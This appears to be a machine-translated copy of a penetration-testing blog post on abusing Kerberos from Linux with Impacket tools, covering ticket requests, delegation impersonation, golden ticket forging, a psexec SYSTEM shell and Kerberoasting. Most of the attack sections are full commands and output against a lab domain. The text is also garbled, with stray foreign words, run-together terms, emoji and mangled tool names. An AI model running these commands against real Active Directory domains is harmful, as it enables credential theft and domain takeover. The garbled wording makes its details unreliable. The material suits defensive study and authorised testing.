Abuse of Kerberos on Linux: Overview of Available Tools (2023)

Linux Kerberos Abuse

This post is intended to provide an overview of the tools available to perform common Kerberos abuse techniques on Linux. While this blog does not detail how attacks using these techniques work, references are provided to high quality blog posts that detail common Kerberos attacks.

Kerberos Overview

Before we begin, a brief preface is provided on the role of Kerberos in Active Directory and why mastering Kerberos manipulation is beneficial when performing penetration testing.

Kerberos was first developed at MIT and then released as an open source project in the late 1980s. The goal of Kerberos was to solve the problem of allowing users to authenticate to a variety of services deployed on many hosts without requiring that the services themselves would know the individual user's credentials prior to authentication.

MIT attempts to solve this problem by using a centralized authentication daemon that allows users to authenticate to the Kerberos service and request tickets to access existing services outside the context of the Kerberos service itself. These tickets would contain information identifying the user who requested the ticket and alsoencrypted with service account password.

After the user receives the requested ticket, he sends it to the (main) service he wants to access. As the ticket is encrypted by the Kerberos service with the password of the requested service, the receiving service canVerify ticket authenticity by successfully decrypting the ticket🇧🇷 After decryption, the receiving service can verify that identifying information is on the decrypted ticketmatches the user who submitted the ticket.

To prevent users from having to manually authenticate with the Kerberos service each time they want to access another service, the Kerberos service issues the user a ticket to the Kerberos service itself. The ticket obtained from this process is known as a ticket granting ticket (TGT). The TGT is then used in place of the user's credentials when requesting tickets for other services in the Kerberos service. It is important to note that just as tickets are encrypted with the password of the service they are valid for, TGTs are encrypted with the password of the Kerberos service itself (in AD it is the user's krbtgt NTLM hash).

Obviously, the above is a huge simplification of Kerberos version 4+, but it conveys the core idea behind Kerberos without addressing the added complexity to mitigate certain weaknesses. To learn more about how Kerberos works, I recommend checking out theshared dialogfrom MIT on Kerberos design. After reading several explanations of Kerberos, the MIT dialog was the first one that made Kerberos click for me in a meaningful, if somewhat irritating, way.

In Active Directory environments, Kerberos found on port 88/TCP on domain controllers allows users to authenticate to services such as CIFS (SMB shares), LDAP, databases, etc. Additional Service Principal Names (SPNs) can also be created. for other services that can be accessed via Kerberos authentication.

Why do we have to use Kerberos?

Now you might be thinking that since you need a user's credentials (NTLM hash) to request a Kerberos ticket in Active Directory, you can also use credentials instead of tickets to log in to services like SMB authentication or LDAP. To some extent you are correct with this statement, using obtained credentials is generally easier than using tickets, but tickets offer certain advantages beyond those available simply using credentials. namely:

• Some services do not allow direct login via NTLM authentication and may require tickets
• Kerberos should abuse restricted/unrestricted delegation privileges
• Even if the user's credentials are changed, the ticket remains valid (until it expires).
• Golden tickets, which essentially never expire, can be counterfeited and used to maintain access to services.
• Tickets can also be spoofed to allow switching between domains within a forest with a trust relationship
• Kerberoasting attacks can often generate highly privileged credentials.
• etc.

working with tickets

ticket request

Now for the good stuff. First of all, we need to know how to get tickets for the services we want to access. Tickets can be easily ordered viaPackagefromgetST.py(received silver ticket) Dash. YeaPackageis installed correctlygetST.pyshould be with you$RUTA, otherwise,getST.pytogether with the otherPackageThe scripts mentioned in this blog can be found atexamplesPaste ofPackageRepository.

Below is an example of the syntax used to request a ticket from the userjane.adamsvonveldt.comdomain for whichcifs(SMB) service (main) on hostDC01.VELDT.COM🇧🇷 The combination of the service (principal) and the host on which the service resides is known as the Service Principal Name (SPN).

[h4x0r@mainframe ~]$ getST.py -dc-ip 192.168.100.5 -spn cifs/DC01.VELDT.COM 'VELDT.COM/jane.adams:Password_goes_here' Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation[* ] Get TGT for user[*] Get ST for user[*] Store ticket in jane.adams.ccache

Use of Tickets

In the example above, it indicates that the ticket has been savedjane.adams.ccache🇧🇷 To tell other packaging tools where to find the ticket to use, theNUMBER KRB5CCThe environment variable is defined as follows:

[h4x0r@mainframe ~]$ exportar KRB5CCNAME=jane.adams.ccache

LikeNUMBER KRB5CCEnvironment variable now set, we can use the obtained ticket to authenticate ourselves as the previously specified user for the previously specified service.

Before we can successfully authenticate, we need to ensure that we're trying to authenticate using identical information to the one used to request the ticket. For example, when specifying the destination, we need to refer to the destination host by its fully qualified domain name (jane.adams@dc01.veldt.com🇧🇷 If the DNS is not configured correctly for the internal domain used, there is an option to specify the destination IP address in detail (-destination IP) and domain controller (-dc-ip🇧🇷 In many cases, the errors you encounter when trying to use Linux Kerberos tickets are due to inconsistencies between the information provided when requesting and using the tickets.

In the following example, we use the previously obtained Kerberos ticket to establish a connectionDC01usepunch packfromsmbclient.pyText. Note the use of-k, indicating that Kerberos authentication should be used:

[h4x0r@mainframe ~]$ smbclient.py jane.adams@DC01.VELDT.COM -k -no-passImpacket v0.9.21-dev - Copyright 2019 SecureAuth CorporationType help for command list#sharesADMIN$C$IPC$NETLOGONSYSVOL#

Tickets de phishing

If you're lucky, you might find yourself in a situation where you've compromised a host or have some sort of rights delegation set up (restricted or unrestricted). This allows you to request Kerberos tickets, which can be used to impersonate any user when authenticating against specific SPNs (depending on your delegation configuration).

I won't go into detail about the delegation process as it is quite complex, but I will refer you to the following resources that cover delegation abuse in detail:

• move the dog
• S4U2Pwnaje
• blog ADSecurity

To request a Kerberos ticket, which allows us to exploit delegation settings, we can again use packagesgetST.pyScript, however, this time going through the-personalizeflag and specification of the user we want to impersonate (any valid username):

[h4x0r@mainframe ~]$ getST.py -spn HOST/SQL01.VELDT.COM 'VELDT.COM/IIS.Admin:Password_Goes_here' -impersonate Admin -dc-ip 192.168.100.5Impacket v0.9.21-dev - Copyright 2019 SecureAuth Enterprise[*] Get TGT for user[*] Impersonate admin[*] Request S4U2self[*] Request S4U2Proxy[*] Store ticket in Administrator.ccache

Note that in the example above, the SPN provided must match one of the SPNs that the account provided is allowed to delegate to.

golden tickets

Who doesn't love a golden ticket? I know it does, and what's more, I love the ability to create one without having to mess with Mimikatz or other Windows tools that, at some point in your penetration testing efforts, need to be flagged by AV. For this reason, we fulfill the request for Golden Tickets with the tools available in it.punch pack(I'm sure you're seeing a pattern here.)

Well, for those who are not familiar with the concept of Golden Tickets, I will give you a brief overview. Remember at the beginning of this blog when I described the need for granting tickets and highlighted the importance of encrypting them with thekrbtgtntlm hash user? Well, the reason is that this is at the heart of the Golden Ticket counterfeit. If we access the NTLM hash ofkrbtgtuser (i.e. downloaded from a domain controller), we can spoof granting tickets to anyoneS.I.D.like and encrypted with the NTLM hash ofkrbtgtusers to consolidate its authenticity.

You might be wondering what's the point of forging a golden ticket when you already have the access level to dump NTLM hashes from a domain controller, and that's understandable. Therefore, the following list highlights the benefits of using Golden Tickets during engagements:

• Golden tickets can be used to escalate privileges between two domains with configured trust relationships (seeon here,on here, jon here)
• Golden tickets remain valid even if a user's password expires or is changed
• The only way to invalidate a golden ticket is to change it.krbtgtuser password twice

So what do we need to fake Golden Tickets? As mentioned above, we need:

• Hash NTLM dekrbtgtusername
• Target Domain SID

We assume you already have the NTLM hash ofkrbtgtUsers and skip straight to Get theSID🇧🇷 To retrieve target domainsS.I.D., the scriptbuscarupsid.pyfrom topunch packcan be used as follows, where the target host is the domain controller:

[h4x0r@mainframe ~]$ lookupsid.py veldt.com/jane.adams:Password_Goes_here@192.168.100.5 Impacket v0.9.21-dev – Copyright 2019 SecureAuth Corporation[*] SID de força bruta em 192.168.100.5[*] StringBinding ncacn_np : 192.168.100.5[\pipe\lsarpc][*] El SID der Domänen: S-1-5-21-3698971782-1394112190-1761101054498: VELDT\Enterprise Controladores de dominio de solo lectura (SidTypeGroup)500: VELDT\Administrator ( SidTypeUser)501: FIELD\Guest (SidTypeUser)502: FIELD\krbtgt (SidTypeUser)512: FIELD\Domain Admins (SidTypeGroup)513: FIELD\Domain Users (SidTypeGroup)514: FIELD\Domain Guest (SidTypeGroup)515: FIELD\ Domänencomputer (SidTypeGroup) ) )516: FIELD\Controladores de domínio (SidTypeGroup)517: FIELD\Cert Publishers (SidTypeAlias)518: FIELD\Schema Admins (SidTypeGroup)519: FIELD\Enterprise Admins (SidTypeGroup)520: FIELD\Group Policy Ersteller- Inhaber (SidTypeGroup)

With domain SID obtained from above command outputS-1-5-21-3698971782-1394112190-1761101054, now we can useticketer.pyfrom topunch packto claim a Golden Ticket. How Kerberos works withSIDand notSAMUsernames, the username provided can be anything, even if the user doesn't exist. By default, the fake ticket containsSIDfor the following groups (which may be referenced in the output above): 513, 512, 520, 518, 519. However, an alternative list of groups can be specified with- The group🇧🇷 finally additional domainSIDcan be specified-extra-sid-flag useful for pivoting between domain trusts.

[h4x0r@mainframe ~]$ ticketer.py -nthash $NT_HASH_ONLY -domain-sid S-1-5-21-3698971782-1394112190-1761101054 -domain VELDT.COM h4x0rImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation[*] Basic Ticket Creation and PAC-Info[*] Ticket Customization for VELDT.COM/h4x0r[*] PAC_LOGON_INFO[*] PAC_CLIENT_INFO_TYPE[*] EncTicketPart[*] EncAsRepPart[*] Final Ticket Signing/Encryption[*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart[*] EncASRepPart[*] Store ticket in h4x0r.ccache

Then we can adjust themNUMBER KRB5CCEnvironment variable as described above:

[h4x0r@mainframe ~]$ export KRB5CCNAME=h4x0r.ccache

and then useimpact packs psexec.pyScript to open a shell as a non-existent userh4x0r, on every host in the domain for which theS.I.D.was supplied:

[h4x0r@mainframe ~]$ psexec.py VELDT.COM/h4x0r@SQL01.VELDT.COM -k -no-pass -dc-ip 192.168.100.5 -target-ip 192.168.100.16Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation[*] Requesting shares at 192.168.100.16.....[*] Writable share found ADMIN$[*] Loading file PBZpOwXM.exe[*] Opening SVCManager at 192.168.100.16.... .[ *] Creating wssq service at 192.168.100.16.....[*] Starting wssq service.....[!] Press help for additional shell commandsMicrosoft Windows [version 10.0.17763.737](c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoamint\System Authority

Kerberoasting

Ah Kerberoasting, what's not to love? If this question doesn't sound rhetorical, I'll briefly explain why it should be.

In summary, SPNs in Active Directory are usually tied to user accounts (as opposed to computer accounts) to allow services such as databases or web servers to access resources based on permissions configured for Active Directory users. As mentioned earlier, Kerberos tickets are encrypted using the NTLM hash of the SPN for which they are requested. Also, the plain text of the Kerberos ticket is known to the requesting entity. This makes it possible to request Kerberos tickets to services configured with SPNs linked to user accounts and perform a brute force attack to find out what password was used to encrypt the ticket.

In many cases, such as the following, SPNs are tied to highly privileged (or more commonly overprivileged) Active Directory accounts. This is usually because applications automatically configure SPNs to have administrative privileges, or system administrators provide services where the required privileges are unknown, so they just grant administrative privileges to the service.

Below is an example of running a Kerberoasting attack usingimpact packs GetUserSPNs.pyText. The resulting Kerberos TGS can be decrypted using John The Ripper or Hashcat (13100 mode).

[h4x0r@mainframe ~]$ GetUserSPNs.py -dc-ip 192.168.100.5 'VELDT.COM/jane.adams:Password_goes_here' -request Impacket v0.9.21-dev - Copyright 2019 SecureAuth CorporationServicePrincipalName Nombre MemberOf PasswordLastSet LastLogon ----- --------------- --------- -------- ------------------ -------- ---------------------HTTP/IIS01.VELDT.COM IIS.Admin 2020-01-26 19:55:02.893201 2020 -01-26 21:18:16.328180 $krb5tgs$23$*IIS.Admin$VELDT.COM$HTTP/IIS01.VELDT.COM*$9ae7773caec31e3e4ce94afa33313e93$73272e7bb959ba7bc8cc12088b81419ee70dce471c50e1a627fdca67f519d55da30a584c2215c6f4a0a998171707131df775e9e746037792e25baf926746d8d739f985781aba3ca064a86980f4ec147776b5f31ab960a06d887ead795d778528e28814f36bc277ec97f0fa3b9eb6b26531f91a2c376c6364346c790c2bca845ec48167321ba0175613594e1d5aebf454d64b6c739e590865f880d5f366a05cf0b98cdfc6a89705c8aaa4d23744278ec348139fca7deb3b3511f80bd434f4c60a2fc63a40eb3037dec2d681a861ef9b48997f285ab2ff161c89b04d00dffb8eefe38e1cebd513580a565dbf55c979ed872b63271d3f1ad4ef0561 dfaf d 17235197d17da5d1e120d9ec582a4e37dc6bac93d8f2de54a3ff1e4f5cd4f70b8adc39581af608a6a5429e8ddd33d... cortado...

Conclusion

I hope this post has given you a decent overview of (mis)usage of Kerberos in Linux and also the reasons why you should do it.

If you want to try out some of these techniques in a controlled environment, I recommend Offshore Prolab on hackthebox or create your own AD lab like I did while writing this blog.

If you have any questions about Kerberos, creating labs, or anything else, feel free to message me on Twitter (@CalumBoal) or send me an email atcalum.boal@onsecury.co.uk.